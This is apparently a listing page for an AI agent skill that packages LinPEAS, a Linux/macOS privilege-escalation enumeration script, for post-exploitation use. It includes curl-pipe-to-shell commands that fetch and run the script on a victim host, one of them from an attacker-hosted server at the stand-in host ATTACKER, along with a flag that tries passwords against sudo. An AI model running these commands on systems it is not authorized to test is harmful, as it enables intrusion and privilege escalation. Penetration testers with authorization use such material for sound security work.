offensive-tools/privilege-escalation/linpeas/SKILL.md
LinPEAS: automated bash script enumerating Linux/macOS privilege escalation vectors including SUID binaries, writable paths, weak service configs, cron jobs, sudo rules, and kernel CVE indicators. Use post-exploitation as a low-privilege user on Linux or macOS to identify escalation paths.
npx skillsauth add aeondave/malskill linpeasInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Linux/macOS privilege escalation enumeration script.
# Download and run directly (victim with internet)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Host and deliver from attacker box
python3 -m http.server 8000 # attacker
curl http://ATTACKER:8000/linpeas.sh | sh # victim
# Save output for review
./linpeas.sh -a 2>&1 | tee linpeas.out
| Flag | Purpose |
|------|---------|
| -a | All checks (thorough) |
| -q | Quiet mode |
| -s | SuperFast — skip slow checks |
| -P <pass> | Try password against sudo prompts |
| Section | What it finds | |---------|--------------| | System info | OS/kernel version, CVE indicators | | Users & groups | Sudo perms, passwd/shadow leaks | | Files | SUID binaries, world-writable root dirs | | Cron | World-writable cron scripts | | Network | Open local ports, hosts file | | Services | Weak permissions on service binaries |
99% PE — lines first| File | When to load |
|------|--------------|
| references/ | Manual exploitation of common findings |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.